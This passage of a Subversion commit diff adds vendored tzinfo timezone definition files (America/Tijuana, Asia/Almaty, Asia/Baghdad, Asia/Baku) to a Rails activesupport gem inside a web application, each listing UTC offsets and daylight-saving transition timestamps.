+          tz.transition 1951, 9, :o3, 38942715, 16
+          tz.transition 1952, 4, :o4, 116838227, 48
+          tz.transition 1952, 9, :o3, 38948539, 16
+          tz.transition 1953, 4, :o4, 116855699, 48
+          tz.transition 1953, 9, :o3, 38954363, 16
+          tz.transition 1954, 4, :o4, 116873171, 48
+          tz.transition 1954, 9, :o3, 38960187, 16
+          tz.transition 1955, 4, :o4, 116890643, 48
+          tz.transition 1955, 9, :o3, 38966011, 16
+          tz.transition 1956, 4, :o4, 116908451, 48
+          tz.transition 1956, 9, :o3, 38971947, 16
+          tz.transition 1957, 4, :o4, 116925923, 48
+          tz.transition 1957, 9, :o3, 38977771, 16
+          tz.transition 1958, 4, :o4, 116943395, 48
+          tz.transition 1958, 9, :o3, 38983595, 16
+          tz.transition 1959, 4, :o4, 116960867, 48
+          tz.transition 1959, 9, :o3, 38989419, 16
+          tz.transition 1960, 4, :o4, 116978339, 48
+          tz.transition 1960, 10, :o3, 38995803, 16
+          tz.transition 1961, 4, :o4, 116996147, 48
+          tz.transition 1961, 10, :o3, 39001627, 16
+          tz.transition 1962, 4, :o4, 117013619, 48
+          tz.transition 1962, 10, :o3, 39007451, 16
+          tz.transition 1963, 4, :o4, 117031091, 48
+          tz.transition 1963, 10, :o3, 39013275, 16
+          tz.transition 1964, 4, :o4, 117048563, 48
+          tz.transition 1964, 10, :o3, 39019099, 16
+          tz.transition 1965, 4, :o4, 117066035, 48
+          tz.transition 1965, 10, :o3, 39025035, 16
+          tz.transition 1966, 4, :o4, 117083507, 48
+          tz.transition 1966, 10, :o3, 39030859, 16
+          tz.transition 1967, 4, :o4, 117101315, 48
+          tz.transition 1967, 10, :o3, 39036683, 16
+          tz.transition 1968, 4, :o4, 117118787, 48
+          tz.transition 1968, 10, :o3, 39042507, 16
+          tz.transition 1969, 4, :o4, 117136259, 48
+          tz.transition 1969, 10, :o3, 39048331, 16
+          tz.transition 1970, 4, :o4, 9955800
+          tz.transition 1970, 10, :o3, 25677000
+          tz.transition 1971, 4, :o4, 41405400
+          tz.transition 1971, 10, :o3, 57731400
+          tz.transition 1972, 4, :o4, 73459800
+          tz.transition 1972, 10, :o3, 89181000
+          tz.transition 1973, 4, :o4, 104909400
+          tz.transition 1973, 10, :o3, 120630600
+          tz.transition 1974, 4, :o4, 136359000
+          tz.transition 1974, 10, :o3, 152080200
+          tz.transition 1975, 4, :o4, 167808600
+          tz.transition 1975, 10, :o3, 183529800
+          tz.transition 1976, 4, :o4, 199258200
+          tz.transition 1976, 10, :o3, 215584200
+          tz.transition 1977, 4, :o4, 230707800
+          tz.transition 1977, 10, :o3, 247033800
+          tz.transition 1978, 4, :o4, 262762200
+          tz.transition 1978, 10, :o3, 278483400
+          tz.transition 1979, 4, :o4, 294211800
+          tz.transition 1979, 10, :o3, 309933000
+          tz.transition 1980, 4, :o4, 325661400
+          tz.transition 1980, 10, :o3, 341382600
+          tz.transition 1981, 4, :o4, 357111000
+          tz.transition 1981, 10, :o3, 372832200
+          tz.transition 1982, 4, :o4, 388560600
+          tz.transition 1982, 10, :o3, 404886600
+          tz.transition 1983, 4, :o4, 420010200
+          tz.transition 1983, 10, :o3, 436336200
+          tz.transition 1984, 4, :o4, 452064600
+          tz.transition 1984, 10, :o3, 467785800
+          tz.transition 1985, 4, :o4, 483514200
+          tz.transition 1985, 10, :o3, 499235400
+          tz.transition 1986, 4, :o4, 514963800
+          tz.transition 1986, 10, :o3, 530685000
+          tz.transition 1987, 4, :o4, 544591860
+          tz.transition 1987, 10, :o3, 562127460
+          tz.transition 1988, 4, :o7, 576041460
+          tz.transition 1988, 10, :o3, 594178260
+          tz.transition 1989, 4, :o4, 607491060
+          tz.transition 1989, 10, :o3, 625631460
+          tz.transition 1990, 4, :o4, 638940660
+          tz.transition 1990, 10, :o3, 657081060
+          tz.transition 1991, 4, :o4, 670995060
+          tz.transition 1991, 10, :o3, 688530660
+          tz.transition 1992, 4, :o4, 702444660
+          tz.transition 1992, 10, :o3, 719980260
+          tz.transition 1993, 4, :o4, 733894260
+          tz.transition 1993, 10, :o3, 752034660
+          tz.transition 1994, 4, :o4, 765343860
+          tz.transition 1994, 10, :o3, 783484260
+          tz.transition 1995, 4, :o4, 796793460
+          tz.transition 1995, 10, :o3, 814933860
+          tz.transition 1996, 4, :o4, 828847860
+          tz.transition 1996, 10, :o3, 846383460
+          tz.transition 1997, 4, :o4, 860297460
+          tz.transition 1997, 10, :o3, 877833060
+          tz.transition 1998, 4, :o4, 891747060
+          tz.transition 1998, 10, :o3, 909282660
+          tz.transition 1999, 4, :o4, 923196660
+          tz.transition 1999, 10, :o3, 941337060
+          tz.transition 2000, 4, :o4, 954646260
+          tz.transition 2000, 10, :o3, 972786660
+          tz.transition 2001, 4, :o4, 986095860
+          tz.transition 2001, 10, :o3, 1004236260
+          tz.transition 2002, 4, :o4, 1018150260
+          tz.transition 2002, 10, :o3, 1035685860
+          tz.transition 2003, 4, :o4, 1049599860
+          tz.transition 2003, 10, :o3, 1067135460
+          tz.transition 2004, 4, :o4, 1081049460
+          tz.transition 2004, 10, :o3, 1099189860
+          tz.transition 2005, 4, :o4, 1112499060
+          tz.transition 2005, 10, :o3, 1130639460
+          tz.transition 2006, 4, :o4, 1143948660
+          tz.transition 2006, 10, :o3, 1162089060
+          tz.transition 2007, 3, :o4, 1173583860
+          tz.transition 2007, 11, :o3, 1194143460
+          tz.transition 2008, 3, :o4, 1205033460
+          tz.transition 2008, 11, :o3, 1225593060
+          tz.transition 2009, 3, :o4, 1236483060
+          tz.transition 2009, 11, :o3, 1257042660
+          tz.transition 2010, 3, :o4, 1268537460
+          tz.transition 2010, 11, :o3, 1289097060
+          tz.transition 2011, 3, :o4, 1299987060
+          tz.transition 2011, 11, :o3, 1320546660
+          tz.transition 2012, 3, :o4, 1331436660
+          tz.transition 2012, 11, :o3, 1351996260
+          tz.transition 2013, 3, :o4, 1362886260
+          tz.transition 2013, 11, :o3, 1383445860
+          tz.transition 2014, 3, :o4, 1394335860
+          tz.transition 2014, 11, :o3, 1414895460
+          tz.transition 2015, 3, :o4, 1425785460
+          tz.transition 2015, 11, :o3, 1446345060
+          tz.transition 2016, 3, :o4, 1457839860
+          tz.transition 2016, 11, :o3, 1478399460
+          tz.transition 2017, 3, :o4, 1489289460
+          tz.transition 2017, 11, :o3, 1509849060
+          tz.transition 2018, 3, :o4, 1520739060
+          tz.transition 2018, 11, :o3, 1541298660
+          tz.transition 2019, 3, :o4, 1552188660
+          tz.transition 2019, 11, :o3, 1572748260
+          tz.transition 2020, 3, :o4, 1583638260
+          tz.transition 2020, 11, :o3, 1604197860
+          tz.transition 2021, 3, :o4, 1615692660
+          tz.transition 2021, 11, :o3, 1636252260
+          tz.transition 2022, 3, :o4, 1647142260
+          tz.transition 2022, 11, :o3, 1667701860
+          tz.transition 2023, 3, :o4, 1678591860
+          tz.transition 2023, 11, :o3, 1699151460
+          tz.transition 2024, 3, :o4, 1710041460
+          tz.transition 2024, 11, :o3, 1730601060
+          tz.transition 2025, 3, :o4, 1741491060
+          tz.transition 2025, 11, :o3, 1762050660
+          tz.transition 2026, 3, :o4, 1772940660
+          tz.transition 2026, 11, :o3, 1793500260
+          tz.transition 2027, 3, :o4, 1804995060
+          tz.transition 2027, 11, :o3, 1825554660
+          tz.transition 2028, 3, :o4, 1836444660
+          tz.transition 2028, 11, :o3, 1857004260
+          tz.transition 2029, 3, :o4, 1867894260
+          tz.transition 2029, 11, :o3, 1888453860
+          tz.transition 2030, 3, :o4, 1899343860
+          tz.transition 2030, 11, :o3, 1919903460
+          tz.transition 2031, 3, :o4, 1930793460
+          tz.transition 2031, 11, :o3, 1951353060
+          tz.transition 2032, 3, :o4, 1962847860
+          tz.transition 2032, 11, :o3, 1983407460
+          tz.transition 2033, 3, :o4, 1994297460
+          tz.transition 2033, 11, :o3, 2014857060
+          tz.transition 2034, 3, :o4, 2025747060
+          tz.transition 2034, 11, :o3, 2046306660
+          tz.transition 2035, 3, :o4, 2057196660
+          tz.transition 2035, 11, :o3, 2077756260
+          tz.transition 2036, 3, :o4, 2088646260
+          tz.transition 2036, 11, :o3, 2109205860
+          tz.transition 2037, 3, :o4, 2120095860
+          tz.transition 2037, 11, :o3, 2140655460
+          tz.transition 2038, 3, :o4, 3550315171, 1440
+          tz.transition 2038, 11, :o3, 3550657831, 1440
+          tz.transition 2039, 3, :o4, 3550839331, 1440
+          tz.transition 2039, 11, :o3, 3551181991, 1440
+          tz.transition 2040, 3, :o4, 3551363491, 1440
+          tz.transition 2040, 11, :o3, 3551706151, 1440
+          tz.transition 2041, 3, :o4, 3551887651, 1440
+          tz.transition 2041, 11, :o3, 3552230311, 1440
+          tz.transition 2042, 3, :o4, 3552411811, 1440
+          tz.transition 2042, 11, :o3, 3552754471, 1440
+          tz.transition 2043, 3, :o4, 3552935971, 1440
+          tz.transition 2043, 11, :o3, 3553278631, 1440
+          tz.transition 2044, 3, :o4, 3553470211, 1440
+          tz.transition 2044, 11, :o3, 3553812871, 1440
+          tz.transition 2045, 3, :o4, 3553994371, 1440
+          tz.transition 2045, 11, :o3, 3554337031, 1440
+          tz.transition 2046, 3, :o4, 3554518531, 1440
+          tz.transition 2046, 11, :o3, 3554861191, 1440
+          tz.transition 2047, 3, :o4, 3555042691, 1440
+          tz.transition 2047, 11, :o3, 3555385351, 1440
+          tz.transition 2048, 3, :o4, 3555566851, 1440
+          tz.transition 2048, 11, :o3, 3555909511, 1440
+          tz.transition 2049, 3, :o4, 3556101091, 1440
+          tz.transition 2049, 11, :o3, 3556443751, 1440
+          tz.transition 2050, 3, :o4, 3556625251, 1440
+          tz.transition 2050, 11, :o3, 3556967911, 1440
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Tijuana.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Tijuana.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Tijuana.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,196 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module America
+      module Tijuana
+        include TimezoneDefinition
+        
+        timezone 'America/Tijuana' do |tz|
+          tz.offset :o0, -28084, 0, :LMT
+          tz.offset :o1, -25200, 0, :MST
+          tz.offset :o2, -28800, 0, :PST
+          tz.offset :o3, -28800, 3600, :PDT
+          tz.offset :o4, -28800, 3600, :PWT
+          tz.offset :o5, -28800, 3600, :PPT
+          
+          tz.transition 1922, 1, :o1, 14538335, 6
+          tz.transition 1924, 1, :o2, 58170859, 24
+          tz.transition 1927, 6, :o1, 58201027, 24
+          tz.transition 1930, 11, :o2, 58231099, 24
+          tz.transition 1931, 4, :o3, 14558597, 6
+          tz.transition 1931, 9, :o2, 58238755, 24
+          tz.transition 1942, 4, :o4, 14582843, 6
+          tz.transition 1945, 8, :o5, 58360379, 24
+          tz.transition 1945, 11, :o2, 58362523, 24
+          tz.transition 1948, 4, :o3, 14595881, 6
+          tz.transition 1949, 1, :o2, 58390339, 24
+          tz.transition 1954, 4, :o3, 29218295, 12
+          tz.transition 1954, 9, :o2, 19480095, 8
+          tz.transition 1955, 4, :o3, 29222663, 12
+          tz.transition 1955, 9, :o2, 19483007, 8
+          tz.transition 1956, 4, :o3, 29227115, 12
+          tz.transition 1956, 9, :o2, 19485975, 8
+          tz.transition 1957, 4, :o3, 29231483, 12
+          tz.transition 1957, 9, :o2, 19488887, 8
+          tz.transition 1958, 4, :o3, 29235851, 12
+          tz.transition 1958, 9, :o2, 19491799, 8
+          tz.transition 1959, 4, :o3, 29240219, 12
+          tz.transition 1959, 9, :o2, 19494711, 8
+          tz.transition 1960, 4, :o3, 29244587, 12
+          tz.transition 1960, 9, :o2, 19497623, 8
+          tz.transition 1976, 4, :o3, 199274400
+          tz.transition 1976, 10, :o2, 215600400
+          tz.transition 1977, 4, :o3, 230724000
+          tz.transition 1977, 10, :o2, 247050000
+          tz.transition 1978, 4, :o3, 262778400
+          tz.transition 1978, 10, :o2, 278499600
+          tz.transition 1979, 4, :o3, 294228000
+          tz.transition 1979, 10, :o2, 309949200
+          tz.transition 1980, 4, :o3, 325677600
+          tz.transition 1980, 10, :o2, 341398800
+          tz.transition 1981, 4, :o3, 357127200
+          tz.transition 1981, 10, :o2, 372848400
+          tz.transition 1982, 4, :o3, 388576800
+          tz.transition 1982, 10, :o2, 404902800
+          tz.transition 1983, 4, :o3, 420026400
+          tz.transition 1983, 10, :o2, 436352400
+          tz.transition 1984, 4, :o3, 452080800
+          tz.transition 1984, 10, :o2, 467802000
+          tz.transition 1985, 4, :o3, 483530400
+          tz.transition 1985, 10, :o2, 499251600
+          tz.transition 1986, 4, :o3, 514980000
+          tz.transition 1986, 10, :o2, 530701200
+          tz.transition 1987, 4, :o3, 544615200
+          tz.transition 1987, 10, :o2, 562150800
+          tz.transition 1988, 4, :o3, 576064800
+          tz.transition 1988, 10, :o2, 594205200
+          tz.transition 1989, 4, :o3, 607514400
+          tz.transition 1989, 10, :o2, 625654800
+          tz.transition 1990, 4, :o3, 638964000
+          tz.transition 1990, 10, :o2, 657104400
+          tz.transition 1991, 4, :o3, 671018400
+          tz.transition 1991, 10, :o2, 688554000
+          tz.transition 1992, 4, :o3, 702468000
+          tz.transition 1992, 10, :o2, 720003600
+          tz.transition 1993, 4, :o3, 733917600
+          tz.transition 1993, 10, :o2, 752058000
+          tz.transition 1994, 4, :o3, 765367200
+          tz.transition 1994, 10, :o2, 783507600
+          tz.transition 1995, 4, :o3, 796816800
+          tz.transition 1995, 10, :o2, 814957200
+          tz.transition 1996, 4, :o3, 828871200
+          tz.transition 1996, 10, :o2, 846406800
+          tz.transition 1997, 4, :o3, 860320800
+          tz.transition 1997, 10, :o2, 877856400
+          tz.transition 1998, 4, :o3, 891770400
+          tz.transition 1998, 10, :o2, 909306000
+          tz.transition 1999, 4, :o3, 923220000
+          tz.transition 1999, 10, :o2, 941360400
+          tz.transition 2000, 4, :o3, 954669600
+          tz.transition 2000, 10, :o2, 972810000
+          tz.transition 2001, 4, :o3, 986119200
+          tz.transition 2001, 10, :o2, 1004259600
+          tz.transition 2002, 4, :o3, 1018173600
+          tz.transition 2002, 10, :o2, 1035709200
+          tz.transition 2003, 4, :o3, 1049623200
+          tz.transition 2003, 10, :o2, 1067158800
+          tz.transition 2004, 4, :o3, 1081072800
+          tz.transition 2004, 10, :o2, 1099213200
+          tz.transition 2005, 4, :o3, 1112522400
+          tz.transition 2005, 10, :o2, 1130662800
+          tz.transition 2006, 4, :o3, 1143972000
+          tz.transition 2006, 10, :o2, 1162112400
+          tz.transition 2007, 4, :o3, 1175421600
+          tz.transition 2007, 10, :o2, 1193562000
+          tz.transition 2008, 4, :o3, 1207476000
+          tz.transition 2008, 10, :o2, 1225011600
+          tz.transition 2009, 4, :o3, 1238925600
+          tz.transition 2009, 10, :o2, 1256461200
+          tz.transition 2010, 4, :o3, 1270375200
+          tz.transition 2010, 10, :o2, 1288515600
+          tz.transition 2011, 4, :o3, 1301824800
+          tz.transition 2011, 10, :o2, 1319965200
+          tz.transition 2012, 4, :o3, 1333274400
+          tz.transition 2012, 10, :o2, 1351414800
+          tz.transition 2013, 4, :o3, 1365328800
+          tz.transition 2013, 10, :o2, 1382864400
+          tz.transition 2014, 4, :o3, 1396778400
+          tz.transition 2014, 10, :o2, 1414314000
+          tz.transition 2015, 4, :o3, 1428228000
+          tz.transition 2015, 10, :o2, 1445763600
+          tz.transition 2016, 4, :o3, 1459677600
+          tz.transition 2016, 10, :o2, 1477818000
+          tz.transition 2017, 4, :o3, 1491127200
+          tz.transition 2017, 10, :o2, 1509267600
+          tz.transition 2018, 4, :o3, 1522576800
+          tz.transition 2018, 10, :o2, 1540717200
+          tz.transition 2019, 4, :o3, 1554631200
+          tz.transition 2019, 10, :o2, 1572166800
+          tz.transition 2020, 4, :o3, 1586080800
+          tz.transition 2020, 10, :o2, 1603616400
+          tz.transition 2021, 4, :o3, 1617530400
+          tz.transition 2021, 10, :o2, 1635670800
+          tz.transition 2022, 4, :o3, 1648980000
+          tz.transition 2022, 10, :o2, 1667120400
+          tz.transition 2023, 4, :o3, 1680429600
+          tz.transition 2023, 10, :o2, 1698570000
+          tz.transition 2024, 4, :o3, 1712484000
+          tz.transition 2024, 10, :o2, 1730019600
+          tz.transition 2025, 4, :o3, 1743933600
+          tz.transition 2025, 10, :o2, 1761469200
+          tz.transition 2026, 4, :o3, 1775383200
+          tz.transition 2026, 10, :o2, 1792918800
+          tz.transition 2027, 4, :o3, 1806832800
+          tz.transition 2027, 10, :o2, 1824973200
+          tz.transition 2028, 4, :o3, 1838282400
+          tz.transition 2028, 10, :o2, 1856422800
+          tz.transition 2029, 4, :o3, 1869732000
+          tz.transition 2029, 10, :o2, 1887872400
+          tz.transition 2030, 4, :o3, 1901786400
+          tz.transition 2030, 10, :o2, 1919322000
+          tz.transition 2031, 4, :o3, 1933236000
+          tz.transition 2031, 10, :o2, 1950771600
+          tz.transition 2032, 4, :o3, 1964685600
+          tz.transition 2032, 10, :o2, 1982826000
+          tz.transition 2033, 4, :o3, 1996135200
+          tz.transition 2033, 10, :o2, 2014275600
+          tz.transition 2034, 4, :o3, 2027584800
+          tz.transition 2034, 10, :o2, 2045725200
+          tz.transition 2035, 4, :o3, 2059034400
+          tz.transition 2035, 10, :o2, 2077174800
+          tz.transition 2036, 4, :o3, 2091088800
+          tz.transition 2036, 10, :o2, 2108624400
+          tz.transition 2037, 4, :o3, 2122538400
+          tz.transition 2037, 10, :o2, 2140074000
+          tz.transition 2038, 4, :o3, 29586215, 12
+          tz.transition 2038, 10, :o2, 19725823, 8
+          tz.transition 2039, 4, :o3, 29590583, 12
+          tz.transition 2039, 10, :o2, 19728735, 8
+          tz.transition 2040, 4, :o3, 29594951, 12
+          tz.transition 2040, 10, :o2, 19731647, 8
+          tz.transition 2041, 4, :o3, 29599403, 12
+          tz.transition 2041, 10, :o2, 19734559, 8
+          tz.transition 2042, 4, :o3, 29603771, 12
+          tz.transition 2042, 10, :o2, 19737471, 8
+          tz.transition 2043, 4, :o3, 29608139, 12
+          tz.transition 2043, 10, :o2, 19740383, 8
+          tz.transition 2044, 4, :o3, 29612507, 12
+          tz.transition 2044, 10, :o2, 19743351, 8
+          tz.transition 2045, 4, :o3, 29616875, 12
+          tz.transition 2045, 10, :o2, 19746263, 8
+          tz.transition 2046, 4, :o3, 29621243, 12
+          tz.transition 2046, 10, :o2, 19749175, 8
+          tz.transition 2047, 4, :o3, 29625695, 12
+          tz.transition 2047, 10, :o2, 19752087, 8
+          tz.transition 2048, 4, :o3, 29630063, 12
+          tz.transition 2048, 10, :o2, 19754999, 8
+          tz.transition 2049, 4, :o3, 29634431, 12
+          tz.transition 2049, 10, :o2, 19757967, 8
+          tz.transition 2050, 4, :o3, 29638799, 12
+          tz.transition 2050, 10, :o2, 19760879, 8
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Almaty.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Almaty.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Almaty.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,67 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Asia
+      module Almaty
+        include TimezoneDefinition
+        
+        timezone 'Asia/Almaty' do |tz|
+          tz.offset :o0, 18468, 0, :LMT
+          tz.offset :o1, 18000, 0, :ALMT
+          tz.offset :o2, 21600, 0, :ALMT
+          tz.offset :o3, 21600, 3600, :ALMST
+          
+          tz.transition 1924, 5, :o1, 1939125829, 800
+          tz.transition 1930, 6, :o2, 58227559, 24
+          tz.transition 1981, 3, :o3, 354909600
+          tz.transition 1981, 9, :o2, 370717200
+          tz.transition 1982, 3, :o3, 386445600
+          tz.transition 1982, 9, :o2, 402253200
+          tz.transition 1983, 3, :o3, 417981600
+          tz.transition 1983, 9, :o2, 433789200
+          tz.transition 1984, 3, :o3, 449604000
+          tz.transition 1984, 9, :o2, 465336000
+          tz.transition 1985, 3, :o3, 481060800
+          tz.transition 1985, 9, :o2, 496785600
+          tz.transition 1986, 3, :o3, 512510400
+          tz.transition 1986, 9, :o2, 528235200
+          tz.transition 1987, 3, :o3, 543960000
+          tz.transition 1987, 9, :o2, 559684800
+          tz.transition 1988, 3, :o3, 575409600
+          tz.transition 1988, 9, :o2, 591134400
+          tz.transition 1989, 3, :o3, 606859200
+          tz.transition 1989, 9, :o2, 622584000
+          tz.transition 1990, 3, :o3, 638308800
+          tz.transition 1990, 9, :o2, 654638400
+          tz.transition 1992, 3, :o3, 701802000
+          tz.transition 1992, 9, :o2, 717523200
+          tz.transition 1993, 3, :o3, 733262400
+          tz.transition 1993, 9, :o2, 748987200
+          tz.transition 1994, 3, :o3, 764712000
+          tz.transition 1994, 9, :o2, 780436800
+          tz.transition 1995, 3, :o3, 796161600
+          tz.transition 1995, 9, :o2, 811886400
+          tz.transition 1996, 3, :o3, 828216000
+          tz.transition 1996, 10, :o2, 846360000
+          tz.transition 1997, 3, :o3, 859665600
+          tz.transition 1997, 10, :o2, 877809600
+          tz.transition 1998, 3, :o3, 891115200
+          tz.transition 1998, 10, :o2, 909259200
+          tz.transition 1999, 3, :o3, 922564800
+          tz.transition 1999, 10, :o2, 941313600
+          tz.transition 2000, 3, :o3, 954014400
+          tz.transition 2000, 10, :o2, 972763200
+          tz.transition 2001, 3, :o3, 985464000
+          tz.transition 2001, 10, :o2, 1004212800
+          tz.transition 2002, 3, :o3, 1017518400
+          tz.transition 2002, 10, :o2, 1035662400
+          tz.transition 2003, 3, :o3, 1048968000
+          tz.transition 2003, 10, :o2, 1067112000
+          tz.transition 2004, 3, :o3, 1080417600
+          tz.transition 2004, 10, :o2, 1099166400
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Baghdad.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Baghdad.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Baghdad.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,73 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Asia
+      module Baghdad
+        include TimezoneDefinition
+        
+        timezone 'Asia/Baghdad' do |tz|
+          tz.offset :o0, 10660, 0, :LMT
+          tz.offset :o1, 10656, 0, :BMT
+          tz.offset :o2, 10800, 0, :AST
+          tz.offset :o3, 10800, 3600, :ADT
+          
+          tz.transition 1889, 12, :o1, 10417111387, 4320
+          tz.transition 1917, 12, :o2, 726478313, 300
+          tz.transition 1982, 4, :o3, 389048400
+          tz.transition 1982, 9, :o2, 402264000
+          tz.transition 1983, 3, :o3, 417906000
+          tz.transition 1983, 9, :o2, 433800000
+          tz.transition 1984, 3, :o3, 449614800
+          tz.transition 1984, 9, :o2, 465422400
+          tz.transition 1985, 3, :o3, 481150800
+          tz.transition 1985, 9, :o2, 496792800
+          tz.transition 1986, 3, :o3, 512517600
+          tz.transition 1986, 9, :o2, 528242400
+          tz.transition 1987, 3, :o3, 543967200
+          tz.transition 1987, 9, :o2, 559692000
+          tz.transition 1988, 3, :o3, 575416800
+          tz.transition 1988, 9, :o2, 591141600
+          tz.transition 1989, 3, :o3, 606866400
+          tz.transition 1989, 9, :o2, 622591200
+          tz.transition 1990, 3, :o3, 638316000
+          tz.transition 1990, 9, :o2, 654645600
+          tz.transition 1991, 4, :o3, 670464000
+          tz.transition 1991, 10, :o2, 686275200
+          tz.transition 1992, 4, :o3, 702086400
+          tz.transition 1992, 10, :o2, 717897600
+          tz.transition 1993, 4, :o3, 733622400
+          tz.transition 1993, 10, :o2, 749433600
+          tz.transition 1994, 4, :o3, 765158400
+          tz.transition 1994, 10, :o2, 780969600
+          tz.transition 1995, 4, :o3, 796694400
+          tz.transition 1995, 10, :o2, 812505600
+          tz.transition 1996, 4, :o3, 828316800
+          tz.transition 1996, 10, :o2, 844128000
+          tz.transition 1997, 4, :o3, 859852800
+          tz.transition 1997, 10, :o2, 875664000
+          tz.transition 1998, 4, :o3, 891388800
+          tz.transition 1998, 10, :o2, 907200000
+          tz.transition 1999, 4, :o3, 922924800
+          tz.transition 1999, 10, :o2, 938736000
+          tz.transition 2000, 4, :o3, 954547200
+          tz.transition 2000, 10, :o2, 970358400
+          tz.transition 2001, 4, :o3, 986083200
+          tz.transition 2001, 10, :o2, 1001894400
+          tz.transition 2002, 4, :o3, 1017619200
+          tz.transition 2002, 10, :o2, 1033430400
+          tz.transition 2003, 4, :o3, 1049155200
+          tz.transition 2003, 10, :o2, 1064966400
+          tz.transition 2004, 4, :o3, 1080777600
+          tz.transition 2004, 10, :o2, 1096588800
+          tz.transition 2005, 4, :o3, 1112313600
+          tz.transition 2005, 10, :o2, 1128124800
+          tz.transition 2006, 4, :o3, 1143849600
+          tz.transition 2006, 10, :o2, 1159660800
+          tz.transition 2007, 4, :o3, 1175385600
+          tz.transition 2007, 10, :o2, 1191196800
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Baku.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Baku.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Baku.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,161 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Asia
+      module Baku
+        include TimezoneDefinition
+        
+        timezone 'Asia/Baku' do |tz|
+          tz.offset :o0, 11964, 0, :LMT
+          tz.offset :o1, 10800, 0, :BAKT
+          tz.offset :o2, 14400, 0, :BAKT
+          tz.offset :o3, 14400, 3600, :BAKST
+          tz.offset :o4, 10800, 3600, :BAKST
+          tz.offset :o5, 10800, 3600, :AZST
+          tz.offset :o6, 10800, 0, :AZT
+          tz.offset :o7, 14400, 0, :AZT
+          tz.offset :o8, 14400, 3600, :AZST
+          
+          tz.transition 1924, 5, :o1, 17452133003, 7200
+          tz.transition 1957, 2, :o2, 19487187, 8
+          tz.transition 1981, 3, :o3, 354916800
+          tz.transition 1981, 9, :o2, 370724400
+          tz.transition 1982, 3, :o3, 386452800
+          tz.transition 1982, 9, :o2, 402260400
+          tz.transition 1983, 3, :o3, 417988800
+          tz.transition 1983, 9, :o2, 433796400
+          tz.transition 1984, 3, :o3, 449611200
+          tz.transition 1984, 9, :o2, 465343200
+          tz.transition 1985, 3, :o3, 481068000
+          tz.transition 1985, 9, :o2, 496792800
+          tz.transition 1986, 3, :o3, 512517600
+          tz.transition 1986, 9, :o2, 528242400
+          tz.transition 1987, 3, :o3, 543967200
+          tz.transition 1987, 9, :o2, 559692000
+          tz.transition 1988, 3, :o3, 575416800
+          tz.transition 1988, 9, :o2, 591141600
+          tz.transition 1989, 3, :o3, 606866400
+          tz.transition 1989, 9, :o2, 622591200
+          tz.transition 1990, 3, :o3, 638316000
+          tz.transition 1990, 9, :o2, 654645600
+          tz.transition 1991, 3, :o4, 670370400
+          tz.transition 1991, 8, :o5, 683496000
+          tz.transition 1991, 9, :o6, 686098800
+          tz.transition 1992, 3, :o5, 701812800
+          tz.transition 1992, 9, :o7, 717534000
+          tz.transition 1996, 3, :o8, 828234000
+          tz.transition 1996, 10, :o7, 846378000
+          tz.transition 1997, 3, :o8, 859680000
+          tz.transition 1997, 10, :o7, 877824000
+          tz.transition 1998, 3, :o8, 891129600
+          tz.transition 1998, 10, :o7, 909273600
+          tz.transition 1999, 3, :o8, 922579200
+          tz.transition 1999, 10, :o7, 941328000
+          tz.transition 2000, 3, :o8, 954028800
+          tz.transition 2000, 10, :o7, 972777600
+          tz.transition 2001, 3, :o8, 985478400
+          tz.transition 2001, 10, :o7, 1004227200
+          tz.transition 2002, 3, :o8, 1017532800
+          tz.transition 2002, 10, :o7, 1035676800
+          tz.transition 2003, 3, :o8, 1048982400
+          tz.transition 2003, 10, :o7, 1067126400
+          tz.transition 2004, 3, :o8, 1080432000
+          tz.transition 2004, 10, :o7, 1099180800
+          tz.transition 2005, 3, :o8, 1111881600
+          tz.transition 2005, 10, :o7, 1130630400
+          tz.transition 2006, 3, :o8, 1143331200
+          tz.transition 2006, 10, :o7, 1162080000
+          tz.transition 2007, 3, :o8, 1174780800
+          tz.transition 2007, 10, :o7, 1193529600
